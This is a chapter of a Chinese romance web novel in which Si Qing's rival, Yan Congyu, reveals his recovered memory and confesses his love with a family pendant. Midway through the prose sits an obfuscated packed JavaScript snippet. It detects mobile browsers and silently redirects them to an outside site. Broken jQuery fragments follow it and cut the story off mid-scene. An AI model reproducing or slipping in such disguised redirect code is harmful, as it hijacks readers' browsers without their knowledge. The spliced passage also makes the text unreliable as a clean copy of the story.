116. 第116回合

作品:《与死对头双双卧底后

    “今日之事,从今往后不得妄议,尔等都要敬重少夫人,不得怠慢,明白了?”


    “是。”


    贺太尉此话一出,众人纷纷低头。而太尉的这番话,也是给司清上了定心丸。从今往后,再无人敢质疑她在贺府的身份了。


    不得不说,司清倒是因为此事而因祸得福了。


    事情尘埃落定,众人纷纷散去,贺胜奇也被家中的下人押着离开了这里。


    临走前,贺胜奇狠狠地瞪了司清和厌从瑜一眼,那眼神恨不得将她们二人千刀万剐一般。


    司清知晓,从今往后,这贺胜奇怕是要和她们闹得不死不休。


    但,兵来将挡水来土掩,她也不怕他。


    司清和厌从瑜一前一后地走出了门,抬眸看见云竹和月影二人,便知晓这厌从瑜大抵是她们搬来的救兵,因而司清什么也没说,只是和二人点点头,便相顾无言地走回院中。


    “二位堂主慢聊,我和月影就有事先走了。”


    云竹说完,便赶忙默契地和一旁的月影退了出去,脸上还不禁闪过一丝心虚之色,似乎生怕司清怪罪于她们一般。


    司清看着这一会儿便跑没影的二人,也是拿她们没办法,无奈地叹了口气。


    不过好在,众人都平安无事,不然她非得问责她们二人不可。


    二人离开,房间内便只剩下司清与厌从瑜二人对峙。


    司清转过头,进屋,看向一旁的厌从瑜,见他一路风尘仆仆地赶来,往日一丝不苟的发丝都有些凌乱,责备的话语一时都说不出口。


    厌从瑜看着她这般,也是不知道该怎么开口。


    沉默许久后,二人异口同声道。“你……”


    见二人都有话想说,终究还是厌从瑜让了步。


    “还是你先吧。”


    见厌从瑜这般,司清也不欲与他谦让,直接问出自己的心中疑惑。


    “你怎么这么早回来了?是云竹月影她们喊你来的?”


    虽然刚刚她看见二人心照不宣的眼神,推测多半如此罢了。


    果不其然,只见厌从瑜缓缓地点了点头。


    “嗯。”天知道,当他知道这个消息之时,恨不得立马飞回来,他怕司清就这么被那贺胜奇给残害了,这才拼了命地赶回来,好在是让他及时赶到。


    果然,他就该在玉虎山之时悄悄做了他。


    想到这里,厌从瑜垂下的眸子又蓦地闪过一丝凌厉。


    司清看着厌从瑜就这么大大方方地承认了,她的眸子也不自觉一暗。


    她就知道,是她俩干的好事。


    毕竟这一招实在是太险了,一个失忆的厌从瑜,再加上又是即将暴露的危急时刻,她当时一时都不知道到底是哪个让她更加忧心一些。


    不过……若是失忆的话,刚才那短暂的时刻,她们是怎么告知厌从瑜的?莫非是他恢复记忆了?


    想到这里,司清打量对方的眼神便略微带上一丝狐疑,她看向厌从瑜,欲言又止,末了才缓缓开口道。


    “你……恢复记忆了?”


    厌从瑜本想再瞒司清一段时间,可没想到,当他目光触及司清那双略带担忧的眸时,欺骗的话却怎么也说不出口。


    “嗯。”厌从瑜缓缓点头,算是承认了。


    听到这里,司清大喜过望。“怎么恢复的?何时恢复的?”


    “就在不久之前,摔了一跤,便恢复了。”


    厌从瑜所言,也确实是实话,只不过在司清看来,便是他在宫中摔的了。


    听到这里,司清默默地松了一口气,她盼星星盼月亮,好在是将他成功盼恢复了,不然今天这一仗也不会打的这么漂亮。


    随后司清又像想起来什么似的,她抬眸重新看向厌从瑜,“到你了,你刚才想问什么?”


    见司清问起刚才的话,厌从瑜欲言又止,“你刚才……没事吧?”


    问话之时,厌从瑜平日那双总是满含笑意的眸里也不禁染上几分担忧,他不自觉地朝司清走近一步,神色之认真,更是和平日判若两人。


    毕竟他刚刚看见司清那般被众人针对,孤立无援之时,他的心都要碎了,恨不得将场上众人除去才罢休。


    可是他不能,司清也不会让他这般做。


    见厌从瑜居然一本正经地关心起自己,司清更是忍俊不禁。


    “还好,毕竟本堂主英明神武,。”虽说厌从瑜不来,她也有法子全身而退,就是那样的方法更加铤而走险罢了。


    见厌从瑜只沉默不语,司清更是不禁笑道。“厌堂主这番,莫不是心疼我了?”


    “嗯。”厌从瑜缓缓点头,他这番直白承认,倒是让司清一时有些猝不及防。


    她愣在原地,不知这个厌从瑜在想些什么。


    不是她在开玩笑么?这人如此认真是做什么?


    再看厌从瑜抬眸看向她的目光,是那般的炙热又含情脉脉,让司清不敢直视。


    更令她想不到的是,厌从瑜竟然朝她走来,将猝不及防的司清逼得后退一步。


    司清心跳如雷,该不会是他想起来之前自己强迫他一事了吧。


    可那时他也同意了啊!!想到这里,司清的目光不禁心虚地移到一旁的地毯上,她清了清嗓子道。


    “咳咳,还有没有事要问的,没事的话,本堂主就先行一步了。”说着,司清便转身想要离开。


    没想到厌从瑜却一个闪现,拦在了她的面前,一脸笑意地看着她。


    “这是自然,在下突然想起来一件陈年往事,趁着眼下只有你我二人,正好问个明白。“说到这里,厌从瑜的眼底更是止不住的笑意。


    他看着一脸防备的司清,笑而不语,步步逼近。随后不等司清反应,他俯身在司清的耳边,用宛若魅魔般的声线低语道。


    “堂主当初在将在下吃干抹净,如今也得好好负起责任起来了吧?”


    听到这句话,司清大脑一时反应不过来他刚才说了些什么。他身上的茶香宛若他本人一般直愣愣地朝司清扑面而来,随后又萦绕在她的周身,缠绵悱恻,久久不肯散去。


    她注意力全在厌从瑜靠近她耳边的动静上,她甚至能感觉到,那人的吐息甚至就在自己的脖颈之间,让她有些痒痒。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346105|154061||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    见司清不做声,厌从瑜想来是自己突然的举动让她一时反应不过来,因而他重新起身,只是笑着看着司清继续补充道。


    “堂主那日虽然说的是不用在下负责,可在下却需要堂主负责呢。”


    伴随着身侧之人离开,司清也终于回过神来,理清现状。


    好啊这厌从瑜,感情是让她来负责来了!


    她刚想说些什么,没想到厌从瑜却用自己修长的指,轻靠她唇边,不让她开口。


    面前之人的这番举动更是让司清一时摸不着头脑,又说让她负责,又不让她开口,这是想让她就范了?


    就在司清怀疑面前之人心怀不轨之时,没想到那人却悠悠从怀中掏出一枚坠子,趁着司清愣神之际,拉过她的手,将坠子放在她的手心里。


    坠子呈阴阳双鱼形,上边还依照北斗七星的顺序坠有七颗,意为指点迷津,护佑平安。坠子上还残存着厌从瑜的体温,想来应是他的心爱之物。


    见状的司清更是不解,她抬头,只听闻厌从瑜缓缓道。


    “这是阴阳七星坠,也是在下家传之物,今日便赠与司堂主了。”“在下的心意,想来堂主应该明白。”


    闻声的司清抬眸,看向厌从瑜,迎上的却是一双从未这般认真的眸,虔诚,深情,甚至还有一丝小心翼翼。


    天下之大,那双惊艳的眸却仿佛只盛得下自己一人一般。


    见状的司清便知道,厌从瑜这是动真格的。


    她垂下眸,一时不知道该说些什么,毕竟,她们俩还是竞争对手不是么?她本来不想将这些儿女私情带到工作上来的,但厌从瑜的心意就这么明明白白地摆在她的面前,让她想忽视也忽视不了。


    许是了解司清,担忧二人的身份会让她带来负担,厌从瑜倒也没有再说些什么,只是笑着将司清的手合上,给她台阶道。


    “在下知晓堂主的担忧,竞争一事,自然还是各凭本事。在下今日也不是想从堂主那求来什么,只是想让堂主知晓在下的心意罢了。”“在下还有要事要回宫处理,就先行告辞了。”


    说完这些后,厌从瑜便又马不停蹄地离开了这里,只是离去前,他的脸上也闪过一丝不自然的红晕。


    他自然是不忧心,说到底,他只需要能够永远的呆在司清身边,就够了。


    况且,凭借他的绝学,他有把握让她离不开自己,毕竟他相信,司清是不会放过他这个“可用之才”的,若是她想要情报,自己给她又有何妨?


    司清的掌心中,还静静地躺着厌从瑜给他的那枚坠子,她摊开掌心,只见那坠子在夕阳余晖下显得那番熠熠生辉。


    司清自然是了解,他送出来的东西,定然没有让她还回去的道理。


    因而司清叹了口气,默默地将这珍贵的坠子收好。


    回过神来的她猛然想起。完了,她刚刚忘记问厌从瑜令诚步的事情了!


    ——真是色令智昏。


    算了,等他回来再问吧。


    然而让司清没有想到的是,她左等右等,却迟迟没有等来厌从瑜回来的消息。


    难道是出事了?